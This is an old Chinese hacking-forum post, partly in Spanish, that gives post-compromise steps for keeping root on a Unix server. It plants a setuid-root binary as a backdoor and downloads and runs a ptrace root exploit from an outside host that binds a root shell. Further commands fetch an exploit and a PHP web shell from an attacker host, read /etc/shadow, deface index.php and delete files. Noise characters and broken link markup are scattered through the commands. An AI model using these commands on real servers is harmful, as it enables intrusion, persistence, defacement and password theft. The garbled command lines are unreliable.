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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
3 c7 c1 o" B% e<>1.</P>
. x2 ~8 [) o+ R5 d<>[cnbird@localhost tmp]#id</P>$ G( V' w0 ?1 G. B$ h  t  |/ A5 y
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>/ [) _9 c5 b- C. P5 _
<>[cnbird@localhost tmp]#cp `which id ` .</P>  o4 J: m/ d& }9 Z. r7 K1 r
<>[cnbird@localhost tmp]#chown root ./id</P>
. x/ h3 I) o8 ^/ i<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
7 B1 \) J+ z# D0 s1 D<>[cnbird@localhost tmp]#ls -l ./id</P>1 i1 t3 s3 P/ e6 Z; y# i- x
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
5 {. g. o- D  m8 D4 w0 ]; ]<>[cnbird@localhost tmp]#exit</P>, g$ @+ c, G( H* ]3 Z! O" _5 `0 j
<>[cnbird@localhost tmp]$id</P>
4 p+ t0 Q* |1 X4 |8 M5 G<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>+ c. b% M8 q$ u
<>[cnbird@localhost tmp]$./id </P>
) ~3 K& I, M& T+ v4 h. i* S<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
+ l9 I- v! H3 Y# [1 E4 `" ^<>2.利用ptrace成为root的方法</P>
) p- i1 m; h0 T/ j<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace+ R2 ^6 W4 }6 |/ [! p
-&gt; Parent's PID is 2313. Child's PID is 2314.) @* t+ u$ ~, P  _* t7 J
-&gt; Attaching to 2315...1 G7 `6 R9 e5 q; {
-&gt; Got the thread!!
% a! N3 M" T6 ~, u-&gt; Waiting for the next signal...) w2 v# |) Z: Z
-&gt; Injecting shellcode at 0x4000e85d3 @% y; x# |; W$ w+ t# c5 g
-&gt; Bind root shell on port 24876... =p
7 w! `1 a; T; C4 I9 T7 y-&gt; Detached from modprobe thread.
9 T" P1 i. c. `  w% O4 ~-&gt; Committing suicide.....</P>
+ M3 T7 i4 b8 G: I% }  v<>[bash]# id' x! q# Q: @' m: e7 D5 l5 q  B$ d3 [
uid=0(root) gid=0(root) groups=0(root)</P>7 z) `( p0 g' m0 S- n4 Z
<>ara ver los dominios que hay en el server:
, O! n8 m) w, d  s; a. x---------------------------------------------------------
0 K& L: `4 K$ B5 u6 Lcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
( U- d$ b9 l' A3 Q0 dcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
0 |% _+ _( C  M- P/ F8 _/ Lcat /etc/localdomains &lt;&lt; Unicamente los dominios locales  X( R" M+ ~  j- {) q
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
. I# K4 Y. j6 U8 vcat /etc/userdomains &lt;&lt; Este es el mas comun
; D* l" w7 C  y9 a0 e& U6 r---------------------------------------------------------</P>
. u0 R# s  ^) L: G9 n4 }<>ara ver la version de kernel:6 _/ m( `( Z. K0 k$ r  F+ G; U
---------------------------------------------------------2 R" q# R* |  q! \. n" P9 x' D! F$ Z
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.% Y# A7 g4 @" ^: ^& G
---------------------------------------------------------</P>
; f8 ~; q- Q& [+ p! z<>ara modificar un index ya existente:
; q5 L; j5 P# a; ?2 A) j---------------------------------------------------------
  T6 c8 }5 G) E: p' V1 a6 Mecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
. i! s1 |& O# ^5 N- C---------------------------------------------------------</P>
' y# w' c( [- E7 W4 o' X<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:2 |3 V- M- M* o+ m- n  G, k$ O+ E* y3 Y
---------------------------------------------------------6 s: x" v1 ]4 z
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
1 c! i8 Y# y: T! w5 |cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" : _8 O. q2 ~% X) M2 X! l1 @$ G
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"- M# r- B# m% D1 L1 I2 q
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". & r7 s( K2 \0 e3 d" S- l5 a' u
Hasta aqui termina el proceso para un exploit.! q0 _) E- M$ ?+ d6 A# C
---------------------------------------------------------</P>5 _6 b. z+ }/ d; t  T8 |
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
% h! L! B) _( e& u3 j---------------------------------------------------------7 C  p+ G# }, n# O5 W0 M
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
$ V& U8 H& H4 Q6 P9 V/ Y---------------------------------------------------------</P>' m0 K# J& T& }
<>Borrar un Ficher& n: n2 _2 a! |. ]: p% Z/ h+ g
---------------------------------------------------------
) o, v' U; i2 D, l6 Z0 y: }7 |  D) X. Gcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm  l% B! c' T# ?9 Z; M# b
---------------------------------------------------------</P>/ g/ i) p2 @! z
<>Subir un ficher+ Z0 U# k) U. _8 ?
---------------------------------------------------------
. w6 D4 Q. n8 Hcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
2 k3 o4 r$ V+ t, s9 G<>
8 i, i3 Y! a( }' O% B6 H$ r<CENTER></CENTER>
zan
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